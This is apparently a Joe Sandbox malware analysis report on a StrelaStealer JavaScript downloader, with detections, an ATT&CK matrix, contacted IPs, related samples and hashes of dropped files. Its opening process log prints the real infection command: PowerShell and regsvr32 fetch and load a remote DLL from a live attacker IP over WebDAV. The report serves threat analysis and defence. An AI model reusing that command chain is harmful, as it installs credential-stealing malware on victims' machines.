Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
739144331377016921.js	3%	Virustotal		Browse
739144331377016921.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/em	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/%moC	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Ym	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.36	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2138908266.00000270B26C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3366785795.000001CF69685000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2133205757.000001CF69450000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/em	net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2138908266.00000270B26C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2138908266.00000270B271B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Ym	net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/%moC	net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588376
Start date and time:	2025-01-11 01:33:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	739144331377016921.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 84.201.210.36, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.109.210.53, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:34:49	API Interceptor	21x Sleep call for process: powershell.exe modified
19:34:52	API Interceptor	1x Sleep call for process: net.exe modified
19:34:53	API Interceptor	2x Sleep call for process: svchost.exe modified
19:35:05	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306958020834501
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugo:gJjJGtpTq2yv1AuNZRY3diu8iBVqFq
MD5:	A2833F56EE6630FE8526B90284FB252D
SHA1:	B7EC2D214058FDBA92EA26818BF8E9249F4C0C24
SHA-256:	5AEA94D1EE7EEF0D4DD7CBB605240000FB297B4C0AC3BCE9338141BF4D4E82DF
SHA-512:	81ECFC10438775A8BBB9DCEEBA5A811FE480293CDE29DD70A9AF295254D195239FE7DBF3A75240E9E6AEAF699D233507D4B65ABE91047734FD0DD953BFD39E92
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x782d66b4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585189637170393
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2BF5DF704AD1C0F03763A2692BADFE6B
SHA1:	0B1BE1FFA6327278B658553E0EF419CFE98C966D
SHA-256:	D105C7CF0137E838C4B36C3517211260B14DB331A037E0183923B418E9C6E252
SHA-512:	7DD7CA796C537432451DC0D20862C50244D8CAE1F7DF46A0F7ABBC4AB902AE82FBCA7E4B994BDB1A6DEA2E97FF670E66FA92408BCCA354BB8BA7FD053B86AE9A
Malicious:	false
Preview:	x-f.... ...............X\...;...{......................0.z..........{..6"...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................6"...}w.................5...6"...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0795199364715575
Encrypted:	false
SSDEEP:	3:8S/llKYekFM0hGkGuAJkhvekl132Ld/allrekGltll/SPj:8yKzKFrxlUGJe3l
MD5:	AD8539DB1A6D5C2D36B19AC9C371A6D3
SHA1:	C2768D655E66006D8DE7F006B013277A7736B9A5
SHA-256:	6C9CBE7FC6D78EF0D396B297912BA7D21B6EEEC6272DDBE2CC703CFEEFEC9F98
SHA-512:	BB3FB504A9FD3C3CF657F57BC24D1B9F8E332A0BB519E037A924083F6F8F2FC895084907E07447315B67C78ED55A0876311F1D79E04F3EA4202534E1BE6627CC
Malicious:	false
Preview:	..3Z.....................................;...{..6"...}.......{...............{.......{...XL......{..................5...6"...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.216165769182847
Encrypted:	false
SSDEEP:	6:iO4+5e+q2P92nKuAl9OmbnIFUtS+5xS3JZmws+5FqnVkwO92nKuAl9OmbjLJ:7JI+v4HAahFUtXkJ/VbiV5LHAaSJ
MD5:	D4863169D8F790C1B3A160EAE6BE521C
SHA1:	BB79301312807EC23165ABA700BD75B360594B69
SHA-256:	E3E04511B89D17C7ED6908B91DE2894E98AC670384FC11AB114469B478735B7B
SHA-512:	565AADB33B5E4376D6B52B2D0312799BE65DDB57CBD9A00DDD89B8F453FA7C5F09D69B7A805A7633DF6A91F01F80352B458F461199B8C9DE0F42601CC6FAD3D6
Malicious:	false
Preview:	2025/01/10-19:34:52.817 59c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:34:52.819 59c Recovering log #3.2025/01/10-19:34:52.820 59c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.216165769182847
Encrypted:	false
SSDEEP:	6:iO4+5e+q2P92nKuAl9OmbnIFUtS+5xS3JZmws+5FqnVkwO92nKuAl9OmbjLJ:7JI+v4HAahFUtXkJ/VbiV5LHAaSJ
MD5:	D4863169D8F790C1B3A160EAE6BE521C
SHA1:	BB79301312807EC23165ABA700BD75B360594B69
SHA-256:	E3E04511B89D17C7ED6908B91DE2894E98AC670384FC11AB114469B478735B7B
SHA-512:	565AADB33B5E4376D6B52B2D0312799BE65DDB57CBD9A00DDD89B8F453FA7C5F09D69B7A805A7633DF6A91F01F80352B458F461199B8C9DE0F42601CC6FAD3D6
Malicious:	false
Preview:	2025/01/10-19:34:52.817 59c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:34:52.819 59c Recovering log #3.2025/01/10-19:34:52.820 59c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.172127366193887
Encrypted:	false
SSDEEP:	6:iO4+5Bs9+q2P92nKuAl9Ombzo2jMGIFUtS+5RGgNJZmws+5RGgN9VkwO92nKuAlx:7Jfs9+v4HAa8uFUtXfGSJ/VfGS9V5LHA
MD5:	2A78E4779E44C4A0167B4CF4B2148EC8
SHA1:	64C4BEB5FC7EC5D31CD29F515332F9355F2BB650
SHA-256:	C1E9ACB27D9F9487E5153A9E15F0CBE4671F49D733108DCC6F2ECFB8A43E1805
SHA-512:	83C39603FFC4F6544654D4A23EF362A546EDA6B6E552E057D62B09D20371E421AE6C36E4E832503914BB5C248F1D7303573F058A2A1F093E998DB00650991583
Malicious:	false
Preview:	2025/01/10-19:34:52.824 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:34:52.825 1c4c Recovering log #3.2025/01/10-19:34:52.825 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.172127366193887
Encrypted:	false
SSDEEP:	6:iO4+5Bs9+q2P92nKuAl9Ombzo2jMGIFUtS+5RGgNJZmws+5RGgN9VkwO92nKuAlx:7Jfs9+v4HAa8uFUtXfGSJ/VfGS9V5LHA
MD5:	2A78E4779E44C4A0167B4CF4B2148EC8
SHA1:	64C4BEB5FC7EC5D31CD29F515332F9355F2BB650
SHA-256:	C1E9ACB27D9F9487E5153A9E15F0CBE4671F49D733108DCC6F2ECFB8A43E1805
SHA-512:	83C39603FFC4F6544654D4A23EF362A546EDA6B6E552E057D62B09D20371E421AE6C36E4E832503914BB5C248F1D7303573F058A2A1F093E998DB00650991583
Malicious:	false
Preview:	2025/01/10-19:34:52.824 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:34:52.825 1c4c Recovering log #3.2025/01/10-19:34:52.825 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\29e5ebf1-a2f3-499f-a30c-1095259da21a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.039796616208545
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUBsBdOg2HkuAcaq3QYiubxnP7E4T3OF+:Y2sRdssdMHke3QYhbxP7nbI+
MD5:	48176E1945EFC65852200696BB76CEB8
SHA1:	6DC8925456BEBC0513AAE9B5FF4FE3E1C25FEE8E
SHA-256:	7CB0125B417C5F44D6524EE09BD0A051E54D0DB95F53A85D6D99F61E931FFD81
SHA-512:	DBF18A9CA72A3ADA34E994E2DADC500F595F3E09721C7415998129B0422CCC557ABE590F09A0F8965C65BF84C4D52C4F8C5EEC242B6182AC408D112F9EA82B35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115705313019","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131335},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.039796616208545
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUBsBdOg2HkuAcaq3QYiubxnP7E4T3OF+:Y2sRdssdMHke3QYhbxP7nbI+
MD5:	48176E1945EFC65852200696BB76CEB8
SHA1:	6DC8925456BEBC0513AAE9B5FF4FE3E1C25FEE8E
SHA-256:	7CB0125B417C5F44D6524EE09BD0A051E54D0DB95F53A85D6D99F61E931FFD81
SHA-512:	DBF18A9CA72A3ADA34E994E2DADC500F595F3E09721C7415998129B0422CCC557ABE590F09A0F8965C65BF84C4D52C4F8C5EEC242B6182AC408D112F9EA82B35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115705313019","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131335},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238684923737457
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUxAQMB:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLn
MD5:	27E6A9B509B248FC5A1B3555F2676A06
SHA1:	9D6FE46A774C9415311E8C7AB79C9AD4564AF858
SHA-256:	7C7780BA83AE26FEDF6497B9A86B2928CADEA86C1A4D356461F64DD6A44C1110
SHA-512:	50D63FC8DFC2F91A1C7F9504F6979144A1EF9C99039771622F6FA8E67F73B080B36B60C83A61DF322B5AFC51773F2FBEE8C103351E047354CFCA4451342D1CAB
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.18480738615483
Encrypted:	false
SSDEEP:	6:iO4+ce9+q2P92nKuAl9OmbzNMxIFUtS+cPNJZmws+cPN9VkwO92nKuAl9OmbzNMT:7Jce9+v4HAa8jFUtXcPNJ/VcPN9V5LHP
MD5:	FE3EC3CD2246FFAA7E06431000C475A2
SHA1:	CE435F9CD8F8F7343AC941C113129499EB88F012
SHA-256:	44801CF61E4C4C8C9762C04D2136A8D80BA4BD79893442068E595EB6400325A3
SHA-512:	CEFF9CCBFCB030603249E39DB317358B2ED110A4E3A327DB1B7BC2F32C2FC0C7F0A14C9CB9482E8C935C27E11E318CCFACACEA2A75B5557F90B9CD80D84ECB49
Malicious:	false
Preview:	2025/01/10-19:34:53.754 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:34:53.755 1c4c Recovering log #3.2025/01/10-19:34:53.755 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.18480738615483
Encrypted:	false
SSDEEP:	6:iO4+ce9+q2P92nKuAl9OmbzNMxIFUtS+cPNJZmws+cPN9VkwO92nKuAl9OmbzNMT:7Jce9+v4HAa8jFUtXcPNJ/VcPN9V5LHP
MD5:	FE3EC3CD2246FFAA7E06431000C475A2
SHA1:	CE435F9CD8F8F7343AC941C113129499EB88F012
SHA-256:	44801CF61E4C4C8C9762C04D2136A8D80BA4BD79893442068E595EB6400325A3
SHA-512:	CEFF9CCBFCB030603249E39DB317358B2ED110A4E3A327DB1B7BC2F32C2FC0C7F0A14C9CB9482E8C935C27E11E318CCFACACEA2A75B5557F90B9CD80D84ECB49
Malicious:	false
Preview:	2025/01/10-19:34:53.754 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:34:53.755 1c4c Recovering log #3.2025/01/10-19:34:53.755 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

